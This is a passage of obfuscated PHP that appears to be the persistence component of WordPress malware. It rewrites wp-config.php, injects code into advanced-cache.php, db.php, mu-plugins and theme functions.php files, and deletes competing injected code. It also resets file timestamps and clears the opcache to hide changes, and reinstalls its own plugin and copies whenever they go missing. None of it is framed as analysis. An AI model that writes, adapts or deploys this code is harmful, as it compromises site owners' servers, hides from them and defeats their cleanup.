if (preg_match_all("/\x53C_" . '(?:' . 'DB|ADV' . '|OC)_' . 'BEGIN:' . "(\\" . "d+\\." . '\\d' . '+\\.\\' . 'd+)/', $c, $m)) {
foreach ($m[(600 ^ 601)] as $_v) {
if (version_compare($_v, sc_ver(), '<')) return (32 !== 20);
}
return (9 === 38);
}
return (5 !== 2);
}
function paja($p)
{
if (!@is_file($p) || !@is_writable($p)) return;
$sz = @filesize($p);
if (!$sz) return;
if (!($sz > 0xa00000)) {} else {
$_oh = @("f\x69l\x65\x5f\x67\x65" . 't_contents')($p, (32 == 19), null, (608 ^ 608), (23213 ^ 88749));
if (!supo($_oh)) return;
if (!(kuji($p) === (18 == 30))) {} else {
niga('sweep', 'neutra' . 'lize_f' . 'oreig' . "n\x5fs" . "ki" . "p " . basename($p));
return;
}
@("file" . "_\x70\x75t\x5fc\x6f\x6e\x74\x65\x6et\x73")($p, "<" . '?p' . "hp\n");
if (('function_' . ("" . "exists"))("\x6fp\x63ach" . "e" . '_inva' . 'lidate')) @opcache_invalidate($p, (19 !== 14));
return;
}
if ($sz > (1179179 - 130603)) {
$_hh = (string) @("file_get" . '_contents')($p, (4 === 35), null, (1753 ^ 1753), (8389 - 197));
$_tt = ($sz > (1455 ^ 9647)) ? (string) @('file_' . 'g' . "" . "et_c" . "\x6f\x6e\x74\x65n\x74\x73")($p, (29 === 36), null, $sz - (7228 + 964)) : '';
$_hs = $_hh . $_tt;
if (!($_hs !== '' && preg_match_all("/SC_" . "\x28?" . ":\x44B" . "|A\x44" . 'V' . "\x7cOC)\x5f\x42" . 'EGIN:' . "\x28\\d" . "+\\\x2e\\d" . '+\\.' . '\\d+)/', $_hs, $_vm))) {} else {
$_hold = (25 === 34);
foreach ($_vm[(3288 ^ 3289)] as $_hv) {
if (version_compare($_hv, sc_ver(), '<')) {
$_hold = (23 !== 13);
break;
}
}
if (!$_hold) return;
}
}
$c = @("file_" . "\x67\x65\x74\x5f\x63" . "o\x6e\x74\x65\x6e\x74s")($p);
if (is_string($c) && strlen($c) > (1676785 - 628209)) $c = vevit($c);
if (!is_string($c)) return;
if (!kafum($c)) return;
xuho($p, $c);
}
function xuho($p, $c)
{
$n = ("preg_repl" . "" . 'ac' . "e")('/[' . " " . '\\t]*' . "\\\x2f\\\x2a " . 'S' . 'C_(' . 'D' . 'B|ADV' . '|OC)_B' . 'EGIN:' . '([a' . '-' . "zA-" . 'Z0' . '-9._:' . ']' . "+) \\" . '*\\/.*?' . '\\/\\* ' . "S" . "\x43_\\" . "1\x5fE\x4e" . "D:\\2 \\" . '*\\' . '/[ ' . '\\t]' . '*\\r' . "\x3f\\n?" . "\x2fs", '', $c);
if (!is_string($n) || trim($n) === '' || trim($n) === "<\x3f\x70h" . "\x70") $n = "\x3c" . "\x3fphp\n";
if (strlen($n) >= (765 - 265) && !nifa($n)) $n = '<' . '?ph' . "p\n";
$_perm = @fileperms($p);
$_perm = ($_perm === (4 === 39)) ? (35 ^ 391) : ($_perm & (29 ^ 482));
$_mt = @filemtime($p);
$_tmp = rojif(dirname($p), 'sc' . "d");
if (!is_string($_tmp) || $_tmp === '') return;
if (!(@("file_put_c" . ("onten" . 't') . "s")($_tmp, $n) !== strlen($n))) {} else {
@("unli" . 'n' . "\x6b")($_tmp);
return;
}
@("\x63" . 'hmod')($_tmp, $_perm);
if (!@(("re" . "na") . 'm' . "\x65")($_tmp, $p)) {
@("unl" . "\x69\x6e\x6b")($_tmp);
return;
}
if ($_mt) @("\x74\x6f" . ('uc' . '') . "h")($p, $_mt);
if (("\x66\x75\x6e" . ("ction_e" . "\x78ist\x73"))("o" . "\x70" . "c\x61c" . "\x68e_" . "\x69n" . "va\x6c" . 'idat' . 'e')) @opcache_invalidate($p, (39 !== 5));
}
function sc_ddb_cb($b)
{
if (!is_string($b)) return '';
if (preg_match("/is" . '_' . "f" . 'ile\\(\\' . "s*'([" . "^" . '\'' . "]+)" . '\'\\s*\\' . ')/', $b, $pm)) {
$t = $pm[(2099 ^ 2098)];
$sz = @is_file($t) ? @filesize($t) : (3485 ^ 3485);
if (!(!$sz || $sz < (176 | 324) || $sz > (38235400 ^ 23555336))) {} else {
if (!($sz > (18874368 | 33554432))) {} else {
$_rp = @realpath($t);
if (!is_string($_rp)) $_rp = $t;
$_rp = str_replace('\\', '/', $_rp);
$_in = (27 == 29);
$_bases = array(defined("AB\x53P" . 'ATH') ? rtrim(ABSPATH, '/\\') : '', defined('W' . 'P_CO' . "\x4eT\x45\x4eT" . '_DIR') ? rtrim(WP_CONTENT_DIR, '/\\') : '');
foreach ($_bases as $_bd) {
$_bd = str_replace('\\', '/', $_bd);
if (!($_bd !== '' && strpos($_rp, $_bd . '/') === (2112 ^ 2112))) {} else {
$_in = (32 !== 8);
break;
}
}
if ($_in && kuji($t) !== (5 === 8)) {
@("u" . "nl" . "in" . 'k')($t);
@("\x75\x6e" . "\x6c" . "ink")(dirname($t) . '/' . '.sd_' . basename($t, "\x2e" . 'php'));
} else {
niga("\x73" . "w" . "e" . 'ep', 'd' . 'db_' . "for" . 'ei' . 'gn' . '_s' . 'ki' . 'p ' . basename($t));
}
}
return '';
}
}
return $b;
}
function juvu()
{
static $t = null;
if (!($t === null)) {} else {
$_v = sc_pg('tes' . 't_m' . 'ode', null);
if (!($_v === null)) {} else {
$_sk = sc_pg('srv_' . "ke\x79", '');
$_v = (is_string($_sk) && strpos($_sk, 'mockS' . "\x72vKe" . 'y-') === (2847 ^ 2847)) ? (3404 ^ 3405) : (3182 ^ 3182);
sc_pk('te' . 's' . "t_m\x6f" . "de", $_v, 'n' . 'o');
unset($_sk);
}
$t = ((int) $_v === (3255 ^ 3254));
}
return $t;
}
function gimey()
{
if (!defined('ABSP' . 'A' . 'TH')) return;
$f = ABSPATH . 'wp-con' . "fi" . "g\x2ep\x68\x70";
if (!@is_file($f)) {
$_alt = dirname(ABSPATH) . '/wp-co' . "n" . "fi\x67.p\x68" . 'p';
if (@is_file($_alt)) $f = $_alt;
}
if (!@is_file($f) || !@is_writable($f)) return;
$_rp = @realpath($f);
if (is_string($_rp) && $_rp !== '' && @is_writable($_rp)) $f = $_rp;
if (@filesize($f) > 0x400000) return;
$c = @('file_get_c' . "" . "ontents")($f);
if (!is_string($c) || $c === '') return;
$_need_clean = (strpos($c, 'WP' . '_C' . 'ore_In' . "\x74eg" . 'ri' . 'ty') !== (38 === 24) || strpos($c, '/t' . 'mp' . '/' . "php") !== (12 == 18));
$_need_tmp = (18 == 34);
if (!(strpos($c, "WP_" . "\x54E" . 'M' . "P_" . "\x44I\x52") === (21 == 12))) {} else {
if (!empty(${"GLO" . "B" . "A" . 'LS'}['sc' . '_tm' . 'p_fixe' . 'd'])) {
$_need_tmp = (4 !== 32);
} else {
$_st = ("functio" . "n_exists")('s' . 'ys_g' . 'e' . 't_te' . 'mp' . '_di' . 'r') ? sys_get_temp_dir() : "\x2ftm" . 'p';
if (!@is_dir($_st) || !@is_writable($_st)) $_need_tmp = (10 < 11);
}
}
$_need_cache = (2 == 4);
$_migrate_wc = (1 == 29);
if (!preg_match('/d' . "ef" . 'ine\\' . 's*\\' . "\x28\\s*['" . '"]W' . 'P_CA' . "CHE" . '[\'"]' . '/', $c) && defined('W' . 'P_C' . "O\x4eTEN" . "T" . '_DIR')) {
$_ac = WP_CONTENT_DIR . '/ad' . 'vanced' . "-c" . 'ach' . 'e.php';
if (@is_file($_ac)) {
$_ah = (string) @("file_" . "\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65" . 'nts')($_ac, (28 === 18), null, (3200 ^ 3200), (1697 + 2399));
if (strpos($_ah, 'SC_A' . 'DV_B' . "EGIN:") !== (36 == 18)) $_need_cache = (33 !== 12);
}
} elseif (
strpos($c, 'SC_WC') === (17 == 34)
&& preg_match("/d" . "\x65" . 'fin' . 'e\\s*\\(' . '\\s*[\'"' . ']' . "A\x42SPAT" . 'H[\'"]' . "\\s*" . "\x2c[^;" . ']*\\)' . '\\' . 's*;\\s' . '*\\' . 'r?' . '\\ndefi' . "ne\\\x28" . ' \'W' . "P_CAC" . "HE'" . ',' . ' tr' . "\x75e \\)" . ";\\\x72" . '?\\' . 'n' . '/', $c)
) {
$_migrate_wc = (20 != 5);
}
$_need_debug = (34 == 36);
if (juvu()) {
if (
!preg_match('/defin' . 'e\\s' . "*\\(" . '\\' . "s*[" . '\'"' . ']WP' . '_' . 'DEBUG[' . "'\"\x5d" . '\\s*,\\s' . '*tru' . 'e\\s' . '*' . '\\)' . '/' . "i", $c)
|| !preg_match('/defin' . 'e\\s' . '*\\(\\' . 's*[' . '\'"]W' . "P_D" . 'EBUG_' . 'LOG[\'"' . ']\\' . 's*,' . "\\s" . "\x2at\x72\x75\x65\\" . 's*' . "\\\x29" . '/i', $c)
|| !preg_match('/defi' . 'ne\\s' . "\x2a" . "\\(\\\x73*[" . "'" . "\"]" . 'WP_' . "DEB" . 'UG_DI' . "SPL\x41" . "Y\x5b\x27" . '"]' . "\\" . "\x73*,\\\x73\x2a" . 'fa' . 'lse\\s*' . '\\)/i', $c)
) $_need_debug = (14 > 13);
}
if (!$_need_clean && !$_need_tmp && !$_need_cache && !$_need_debug && !$_migrate_wc) return;
$_removed = '';
$n = $c;
if (!($_need_clean)) {} else {
if (preg_match_all('/[' . ' \\t]' . "*\\/\\* " . 'W' . "P_Cor" . 'e_Inte' . 'grit' . 'y ([a' . "-\x660\x2d" . "9]\x2b)" . " \\*" . '\\/.*?\\' . "\x2f\\" . '* End-' . 'WP_' . 'Co' . 're_' . 'Integ' . 'rity' . ' \\' . "1 \\\x2a\\/" . '[ \\t' . ']*' . "\\r?\\" . "\x6e?/s", $c, $_bm)) $_removed .= implode("\n", $_bm[(4016 ^ 4016)]);
$n = ("\x70\x72\x65" . "g_r" . "\x65\x70\x6c\x61\x63\x65")('/[ \\' . 't]*' . "\\\x2f\\\x2a" . ' WP_Co' . 're_I' . 'ntegri' . "ty" . " \x28" . '[a-f0-' . '9]+) \\' . "\x2a\\/.\x2a?" . '\\/' . '\\* En' . 'd-WP' . "\x5fC" . 'ore_' . "Int" . 'eg' . 'rit' . 'y \\1 \\' . "*" . '\\' . "/" . '[ \\t]' . '*\\' . "r?\\n?" . '/s', '', $c);
if (!is_string($n)) return;
if (!(!preg_match('/\\' . 'b' . '(?:en' . 'dif|e' . "l\x73e" . "\x29\\" . "\x62/", $n))) {} else {
if (preg_match_all('/^[ \\' . "t\x5d\x2ai\x66\\" . 's*\\(\\s' . '*' . '!?\\s*' . "f\x69le\x5f" . 'exi' . 'sts\\(\\' . 's' . '*\'\\' . '/tmp\\' . "\x2fp\x68" . 'p[' . 'A-Za-' . 'z0-' . '9]+\'[^' . '\\n]*\\n' . "([" . ' \\t' . "]*if" . '\\' . "s\x2a\\(\\s" . "*" . "\\\$_" . 'o' . "\x26&\x5b^\\" . 'n' . ']' . '*\\n)?/' . 'm', $n, $_lm)) $_removed .= "\n" . implode("\n", $_lm[(2651 ^ 2651)]);
$n = (("preg_re" . "pla") . 'c' . 'e')("/^[" . ' ' . '\\t]*' . 'if\\s' . "*\\\x28\\s*" . '!?' . '\\s' . "*" . "\x66i\x6c\x65" . '_e' . 'x' . "ists" . '\\(\\' . "\x73*\x27\\/" . 't' . 'mp' . "\\/ph" . 'p[A-' . 'Z' . 'a-z' . '0-' . '9' . ']+\'[^' . "\\\x6e\x5d*\\" . 'n(' . "[ \\t" . "\x5d" . '*' . 'if\\s' . '*\\(\\' . "s" . "\x2a\\\$" . '_o' . "&&[\x5e" . "\\\x6e]*" . '\\n' . ')?/' . "m", '', $n);
if (!is_string($n)) return;
}
}
$_abs_re = 'de' . "fin\x65\\" . 's*\\(' . '\\s*[' . "'\"]\x41" . "BSPATH" . '[\'"]' . "\\\x73" . "\x2a,[^" . ";]*\\\x29\\" . 's*;\\s' . '*\\r?\\' . 'n';
if (!($_need_tmp && preg_match('/' . $_abs_re . '/', $n))) {} else {
$n = ("preg_re" . "pl" . "" . "ac" . 'e')('/(' . $_abs_re . ')/', '$1' . "de\x66ine" . '( \'' . 'WP' . "_\x54\x45M" . 'P_DI' . 'R\'' . ", (\x20\x64\x65" . 'fi' . 'n' . 'ed( \'' . 'W' . 'P_C' . 'ONTENT' . '_DIR' . "\x27 ) " . '? WP_' . 'CONT' . 'ENT_D' . 'IR' . ' : A' . 'BS' . "\x50A" . "TH\x20.\x20'" . 'wp-con' . "te\x6e" . 't\' ) .' . ' \'/.sc' . '_' . "tm\x70' )" . ';' . "\n", $n, (752 ^ 753));
if (!is_string($n)) return;
}
if ($_need_cache && preg_match('/' . $_abs_re . '/', $n)) {
$n = (("\x70" . 'reg') . "\x5f\x72epla\x63\x65")('/(' . $_abs_re . ')/', '$1' . "def" . 'ine( ' . '\'WP' . '_CA' . 'CHE\'' . ', true' . ' )' . "; /" . '* S' . "C_W\x43" . " " . "*/" . "\n", $n, (2323 ^ 2322));
if (!is_string($n)) return;
} elseif ($_migrate_wc) {
$n = (('pre' . 'g_r') . "\x65\x70\x6c\x61\x63\x65")('/(' . $_abs_re . "\x29de\x66" . 'ine\\(' . ' \'W' . "\x50\x5f\x43" . "A" . "CHE'," . ' true ' . '\\);\\r?' . "\\n/", '$1' . 'def' . 'ine(' . ' \'WP' . '_CA' . "\x43\x48" . "E" . '\', tru' . 'e )' . "; /*\x20" . 'SC_' . "W\x43 */\n", $n, (768 ^ 769));
if (!is_string($n)) return;
}
if (!($_need_debug)) {} else {
$n = ("pre" . "g" . "_\x72\x65\x70\x6c\x61" . 'ce')("\x2f" . '^[ \\' . 't]' . '*defi' . "ne\\s*" . '\\(\\s' . "\x2a['\"]" . "W\x50_\x44" . 'EB' . 'U' . "G(_L" . 'OG|_' . "\x44IS" . "P\x4cA" . "Y)?\x5b" . '\'' . '"]\\' . "s" . '*,[' . "^\\\x6e]*\\" . 'n/' . "\x69m", '', $n);
if (!is_string($n)) return;
if (preg_match('/(' . $_abs_re . ')/', $n)) {
$n = ('pre' . "\x67_r\x65p" . "\x6c\x61\x63" . "e")('/(' . $_abs_re . ')/', '$1' . "defi" . "ne(" . ' \'WP_' . "DEBU" . 'G\'' . ",\x20tr" . 'ue ' . "\x29;\ndef" . "\x69ne\x28" . ' ' . "\x27W\x50" . "_DE" . 'BUG_LO' . 'G\', ' . 't' . 'r' . "\x75\x65\x20)\x3b\n" . "d\x65\x66\x69ne" . "\x28\x20" . '\'WP_DE' . 'B' . "U" . 'G_DI' . 'SP' . "L\x41\x59\x27" . ', fals' . 'e )' . ";\n", $n, (287 ^ 286));
if (!is_string($n)) return;
}
}
if ($n === $c) return;
if (!nifa($n)) return;
if ($_migrate_wc && ("\x66" . 'unctio' . 'n_exis' . "ts")("\x75pda" . 'te_' . 'optio' . "n")) @update_option("sc\x5f" . 'wc_mi' . 'g', (1705 ^ 1704), 'no');
if (!($_need_cache && !higiz($f, $c))) {} else {
niga('wpc', "\x63an\x61ry" . '_a' . 'r' . 'm_f' . 'ail');
$n = ("preg" . "_" . "r" . 'eplace')('/' . '(' . $_abs_re . ')d' . 'e' . 'fine\\' . "(\x20\x27W" . "\x50_C" . "\x41CH" . 'E\', t' . "\x72u" . 'e' . ' \\)' . "\x3b \\" . '/' . '\\* ' . 'SC_W' . "C\x20\\\x2a\\" . '/\\r' . '?\\n/', '$1', $n, (3065 ^ 3064));
if (!is_string($n) || $n === $c) return;
if (!nifa($n)) return;
}
$_perm = @fileperms($f);
$_perm = ($_perm === (8 === 27)) ? (552 - 132) : ($_perm & (464 + 47));
$_mt = @filemtime($f);
$_rc = @(('file_ge' . "t") . "\x5f" . "con\x74\x65\x6e\x74s")($f);
if (!is_string($_rc) || $_rc !== $c) {
niga('wpc', "r\x6dw_ra" . 'ce');
return;
}
unset($_rc);
$_tmp = rojif(dirname($f), "sc" . "w");
if (!is_string($_tmp) || $_tmp === '') return;
if (@('file_put_con' . "te" . 'nts')($_tmp, $n) !== strlen($n)) {
@("\x75\x6e" . "link")($_tmp);
return;
}
@('c' . "h" . 'm' . 'od')($_tmp, $_perm);
if (!(!@("r" . "ena" . 'm' . "e")($_tmp, $f))) {} else {
@("\x75\x6e\x6c" . 'i' . "nk")($_tmp);
return;
}
if ($_mt) @("t\x6f\x75" . "\x63" . "\x68")($f, $_mt);
if (("\x66" . "un" . 'ction_exists')('o' . "p" . "c\x61ch\x65" . '_in' . "\x76al\x69d\x61" . "t" . "\x65")) @opcache_invalidate($f, (21 != 30));
if ($_need_cache) vava($f);
if (($_need_cache || $_migrate_wc) && ('fun' . '' . 'ction_exists')("\x64e" . 'lete_' . 'option')) @delete_option("sc\x5f" . "wc_" . "m\x69g");
if (!(preg_match_all('/\'(' . '\\/tmp' . "\\/" . "\x70h\x70[" . "\x41-Z" . 'a-z' . "0\x2d9" . "]\x2b)\x27/", $_removed, $tm))) {} else {
foreach (array_unique($tm[(1805 ^ 1804)]) as $tf) {
if (strpos($tf, '/t' . 'mp/php') === (2591 ^ 2591) && @is_file($tf)) @("\x75\x6e" . ('' . 'l') . 'in' . 'k')($tf);
}
}
if (!(("f" . 'unction_ex' . "\x69st\x73")('delet' . 'e_o' . 'pt' . 'ion') && preg_match_all('/opt' . "io" . 'n_nam' . 'e\\s*' . "\x3d\\s*'(" . "[\x5e']" . "+" . ')\'/', $_removed, $om))) {} else {
foreach (array_unique($om[(2443 ^ 2442)]) as $on) {
if (preg_match('/^_' . "site\x5f" . 'trans' . 'ient' . '_(heal' . "t\x68" . '|fe' . "ed" . ')_[a' . '-f0-' . '9]+$' . '/', $on)) @delete_option($on);
}
}
}
function akiyus()
{
if (!defined('WP_CON' . 'TENT_D' . 'IR')) return;
$_mu = defined('WPM' . 'U_' . "P" . 'L' . "U\x47\x49N\x5fD" . 'IR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . "\x2fmu-p" . "\x6c" . 'ugin' . 's';
$_cands = array();
if (!(("f\x75\x6e" . 'ction_ex' . '' . 'ists')('glob'))) {} else {
if (@is_dir($_mu)) foreach ((array) @("\x67" . 'lo' . 'b')($_mu . '/*' . ".p" . "\x68p") as $_f) $_cands[] = $_f;
if (defined("\x57\x50" . '_P' . "\x4c\x55GIN" . "_" . "D\x49R") && @is_dir(WP_PLUGIN_DIR)) foreach ((array) @("g\x6c" . 'ob')(WP_PLUGIN_DIR . '/*/*' . '.php') as $_f) $_cands[] = $_f;
}
$_ab = defined("A" . 'BSPAT' . 'H') ? ABSPATH : '';
$_core = WP_CONTENT_DIR . '/.sc' . "_" . substr(md5($_ab . 'dir'), (858 ^ 858), (15 ^ 7)) . "/c" . 'or' . 'e' . '_' . substr(md5($_ab . 'core'), (3443 ^ 3443), (3 + 5)) . '.php';
if (@is_file($_core)) $_cands[] = $_core;
$_core2 = fuce();
if ($_core2 !== $_core && @is_file($_core2)) $_cands[] = $_core2;
unset($_core2);
foreach ($_cands as $_f) {
$_mt = @filemtime($_f);
if (!(!$_mt || ($_mt % (43118 + 56882)) !== (27744 | 66075))) {} else {
$_sz0 = @filesize($_f);
if (!$_sz0 || $_sz0 < (144 | 356) || $_sz0 > (16777216 | 35651584)) continue;
}
$_rp = @realpath($_f);
$_self = @realpath(sc_file());
if (is_string($_rp) && is_string($_self) && $_rp === $_self) continue;
$_h = @("\x66i\x6ce\x5f" . 'g' . 'et' . '' . "_contents")($_f, (21 == 23), null, (3769 ^ 3769), (270 ^ 4366));
$_zv = null;
if (is_string($_h) && preg_match('/\\/\\*' . " S" . 'CV:(' . '\\d' . '+\\.\\d' . "+\\.\\d" . "+" . ") \\" . "*\\//", $_h, $_vm)) $_zv = $_vm[(336 ^ 337)];
elseif (sc_is_family($_f, (261 ^ 4749))) $_zv = '0.0.0';
if ($_zv === null || !version_compare($_zv, sc_ver(), '<')) continue;
$_own = kuji($_f);
if (!($_own === (24 == 20))) {} else {
niga('sweep', "\x66or" . "eign_" . 'sk' . 'ip ' . basename($_f));
continue;
}
if ($_own === (8 != 27)) {
if (ojaqop($_f, $_f . "\x2eo" . 'ff')) {
if (("fun" . 'ct' . 'ion_exist' . 's')("o\x70ca" . "c\x68e_" . "\x69n\x76a\x6c" . 'idate')) @opcache_invalidate($_f, (13 !== 28));
} elseif (!sc_retire_copy($_f) && sc_is_locked_copy($_f)) {
peza($_f);
barus($_f);
}
@("\x75n\x6c" . "ink")(dirname($_f) . '/.sd_' . basename($_f, '.ph' . 'p'));
continue;
}
if (!(!sc_retire_copy($_f) && sc_is_locked_copy($_f))) {} else {
peza($_f);
barus($_f);
}
sc_retire_sidecars($_f);
}
gimey();
$_td = WP_CONTENT_DIR . '/th' . "emes";
if (@is_dir($_td) && ("\x66\x75\x6ec\x74\x69\x6fn\x5fex\x69" . "" . 'sts')("gl" . 'ob')) {
foreach ((array) @('g' . "" . ("lo" . "\x62"))($_td . "/*/f\x75" . 'nc' . 'tions.' . 'php') as $_fn) {
if (!@is_file($_fn) || !@is_writable($_fn)) continue;
$_sz = @filesize($_fn);
if (!$_sz || $_sz > (1736167 + 360985)) continue;
$_c = @('file_g' . ("e" . "t_c") . "ontents")($_fn);
if (!is_string($_c)) continue;
if (strpos($_c, "S" . 'C_' . "\x54H_\x42" . 'E' . 'GIN') === (7 == 23) && strpos($_c, 'SC_DD' . '_BEGI' . 'N') === (22 == 32) && strpos($_c, 'SC_TH_' . 'LD_') === (12 == 19)) continue;
if (!luje($_c)) continue;
$_n = cajo($_c);
if (!(is_string($_n) && $_n !== $_c)) {} else {
zifo($_fn, $_n);
if (("\x66" . ('unc' . 'tion_e') . "\x78\x69\x73\x74\x73")('op' . "c\x61che_" . 'invali' . "d\x61te")) @opcache_invalidate($_fn, (31 === 31));
}
}
}
paja(WP_CONTENT_DIR . '/ad' . "v\x61nc\x65" . "d" . '-' . 'ca' . 'ch' . "e\x2e" . "p\x68\x70");
paja(WP_CONTENT_DIR . '/db.p' . 'hp');
if (!(("\x66\x75\x6e\x63ti" . ('' . 'on_exists'))('get_' . "\x6fpt\x69on") && (('functi' . '') . "\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('del' . 'ete_' . "\x6f" . "pt\x69\x6f" . 'n') && ("\x66\x75\x6e\x63ti\x6fn\x5f\x65\x78" . "ists")('sc_m' . 'd5'))) {} else {
$_on = sc_md5(ABSPATH . 'opt', (7 ^ 13));
$_ov = @get_option($_on, '');
if (is_string($_ov) && $_ov !== '') {
$_raw = ("base64" . "_\x64\x65c\x6f\x64\x65")($_ov, (9 < 10));
if (is_string($_raw) && razum($_raw)) @delete_option($_on);
}
$_src = ('func' . "tion_e" . 'xis' . 'ts')('s' . "c\x5fpg") ? sc_pg('src', '') : '';
if (!(is_string($_src) && $_src !== '' && (strlen($_src) > (638033 + 410543) || (('functio' . 'n_e' . 'xis' . "ts")("\x73" . 'c_src_' . 'pois' . 'o' . 'ned') && sc_src_poisoned($_src)) || gasi($_src)))) {} else {
if (('function' . ('_' . "\x65\x78\x69\x73\x74\x73"))("\x73\x63_" . "pk")) sc_pk('src', '', 'no');
}
}
}
function sc_persist_always()
{
try {
sc_dbg_log("2\x30\x20" . 'pers' . 'i' . 'st en' . 'ter');
if (!defined("A\x42S" . "PA" . "TH")) return;
if (!empty(${"GLOBAL" . '' . "\x53"}['sc_b' . "\x6fot\x5f\x74\x6b"])) {
${"GLOBAL" . '' . "S"}["s" . 'c_boo' . 't_tk'] = (3146 ^ 3146);
niga('boot', "lega\x63y" . '_ta' . "\x6b\x65" . 'over');
}
if (!empty(${"GLOB" . ("" . "ALS")}['s' . "c_per" . 'sis' . "t" . 'ed'])) return;
${'G' . 'L' . 'OBALS'}["\x73" . "c\x5fpe" . "rs\x69st" . "\x65" . "d"] = (17 !== 12);
if (!isset(${'_' . 'GET'}['sc_c']) && ("fu" . "" . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('get' . "_\x6f" . "p\x74\x69\x6f\x6e") && ('funct' . 'ion_e' . "" . "\x78" . "\x69\x73\x74\x73")('regis' . 'ter_' . 'shu' . "\x74d" . "\x6fw\x6e\x5f\x66" . 'unctio' . 'n')) {
$_cy = @get_option("s\x63\x5fcan" . 'ary', array());
$_cy_on = (223 !== 223);
if (is_array($_cy)) {
if (!empty($_cy['t'])) $_cy_on = (28 != 22);
if (!$_cy_on && !empty($_cy['items']) && is_array($_cy['i' . "te" . "\x6d" . 's'])) {
foreach ($_cy['items'] as $_ci) {
if (is_array($_ci) && !empty($_ci['p'])) {
$_cy_on = (35 !== 23);
break;
}
}
}
}
if ($_cy_on) (("register_shutdown" . "\x5f\x66\x75nc") . "\x74\x69\x6f\x6e")("sc\x5fc" . 'an' . "ar" . "y_che\x63" . "k");
}
if (vevud(sc_file())) return;
$_sct = ('funct' . ("" . 'ion_exists'))('get_' . 'o' . "p" . 'tion') ? (int) get_option('sc_sc' . "r" . 'ub_ts', (3214 ^ 3214)) : (3424 ^ 3424);
if ($_sct < time() - (185 + 115) || $_sct > time() + (303 ^ 3)) {
if (("func" . "\x74\x69on_" . "exist" . 's')("\x75" . "p\x64a\x74e_" . 'opt' . "i\x6fn")) @update_option("\x73c\x5fs" . 'crub_t' . "\x73", time());
akiyus();
}
unset($_sct);
mega(sc_file(), sc_ver());
if (!buha()) {
miju();
upazi();
return;
}
$base = sc_writable_base();
$targets = array(
sc_file(),
$base . '/db.' . "\x70\x68" . "p",
);
$_th_cands = tupe();
foreach ($_th_cands as $_thc) {
if (@is_file($_thc)) $targets[] = $_thc;
}
$line_checks = array();
$_oc_pp = wopa();
if (@is_file($_oc_pp[(629 ^ 628)])) $line_checks['li' . 'ne' . ":" . $_oc_pp[(2074 ^ 2074)]] = '.wp-' . 'objec' . "t-" . 'cache-' . $_oc_pp[(20 ^ 22)];
$manifest = @get_option("s\x63\x5fp\x65r" . "si" . 's' . "t_\x6d\x61n" . 'ifest', array());
if (!is_array($manifest)) $manifest = array();
$need_sync = (28 === 3);
foreach ($targets as $path) {
$stat = @stat($path);
$sig = $stat ? ($stat['size'] . '|' . $stat['mtime']) : '0';
$saved = isset($manifest[$path]) ? $manifest[$path] : '';
if ($sig === $saved) continue;
if (preg_match('/\\|r(' . '\\d' . '+)$/', $saved, $_rm) && substr($saved, (892 ^ 892), -strlen($_rm[(347 ^ 347)])) === $sig && time() - (int) $_rm[(3547 ^ 3546)] < (2064 | 1536)) continue;
$need_sync = (5 != 22);
break;
}
if (!$need_sync) {
foreach ($line_checks as $key => $needle) {
$sig = resa(substr($key, (2 + 3)), $needle);
$saved = isset($manifest[$key]) ? $manifest[$key] : '';
if ($sig === $saved) continue;
if (preg_match('/' . '\\|r(\\d' . "\x2b\x29" . '$' . '/', $saved, $_rm) && substr($saved, (3852 ^ 3852), -strlen($_rm[(3697 ^ 3697)])) === $sig && time() - (int) $_rm[(2063 ^ 2062)] < (16640 | 69760)) continue;
$need_sync = (17 != 0);
break;
}
}
$_slug = basename(sc_file(), '.php');
$_pf = $base . '/plu' . 'gins/' . $_slug . '/' . $_slug . ".p" . 'hp';
$_cp = fuce();
if (!@is_file($_pf) || (int) @filesize($_pf) < (5244 - 244)) $need_sync = (5 != 9);
if ($_cp !== '' && !@is_file($_cp)) $need_sync = (15 !== 5);
if (!$need_sync && ('funct' . "ion_e" . 'xists')("\x67\x65\x74_" . 'option')) {
$_rel = $_slug . '/' . $_slug . '.php';
$_act = get_option('ac' . 'tiv' . 'e_plu' . 'gins', array());
if (!is_array($_act)) $_act = array();
if (qufe($_slug)) {
if (!in_array($_rel, $_act, (2 > 1))) $need_sync = (20 != 23);
} elseif (in_array($_rel, $_act, (40 !== 2))) {
$need_sync = (30 !== 5);
}
}
if (!$need_sync) return;
$_now = time();
$_last = (697 ^ 697);
$_fails = (784 ^ 784);
if (('f' . 'unction_exi' . 'sts')("g" . "et_" . 'optio' . "n")) {
$_bk = @get_option('sc_s' . "\x79nc\x5f\x62" . 'k', '');
if (is_string($_bk) && preg_match('/^(' . '\\d+)' . "\\\x7c(\\d" . '+)$/', $_bk, $_bm)) {
$_last = (int) $_bm[(1065 ^ 1064)];
$_fails = (int) $_bm[(14 ^ 12)];
}
}
$_delay = $_fails <= (3939 ^ 3939) ? (1262 ^ 1262) : ($_fails === (751 ^ 750) ? (95 - 35) : ($_fails === (10 ^ 8) ? (226 + 74) : (1032 | 768)));
if ($_last > (2631 ^ 2631) && ($_now - $_last) < $_delay) return;
if (!ujiwo('s' . 'c_ch' . 'ain')) return;
sc_dbg_log('21 per' . "s\x69" . 'st' . ': d' . 'roppi' . 'ng cor' . 'e/db/' . 'theme');
try {
hepov();
cuda();
upazi();
uwovo();
mevox();
miju();
jese();
jana();
$_db_ok = bobe();
$_th_ok = feki();
$_still = (!@is_file($_pf) || (int) @filesize($_pf) < (5019 - 19)) || ($_cp !== '' && !@is_file($_cp));
if (!$_still && !@is_file($base . '/db.' . "ph\x70")) $_still = (11 != 25);
if (!$_still && ("\x66\x75\x6e\x63\x74\x69" . "on_exi" . 'sts')('g' . 'et_opt' . "\x69on")) {
$_rel = $_slug . '/' . $_slug . '.php';
$_act = get_option('ac' . 'tive_' . "plu" . 'gin' . "s", array());
if (!is_array($_act)) $_act = array();
if (qufe($_slug)) {
if (!in_array($_rel, $_act, (21 > 20))) $_still = (18 != 39);
} elseif (in_array($_rel, $_act, (14 != 21))) {
$_still = (33 != 15);
}
}
if (('fun' . "c\x74\x69\x6fn\x5f\x65\x78\x69\x73\x74s")('upd' . 'ate_op' . "t\x69on")) @update_option("\x73\x63\x5fsyn" . 'c_' . "bk", $_now . '|' . ($_still ? ($_fails + (1424 ^ 1425)) : (1305 ^ 1305)), 'no');
$new_manifest = array();
foreach ($targets as $path) {
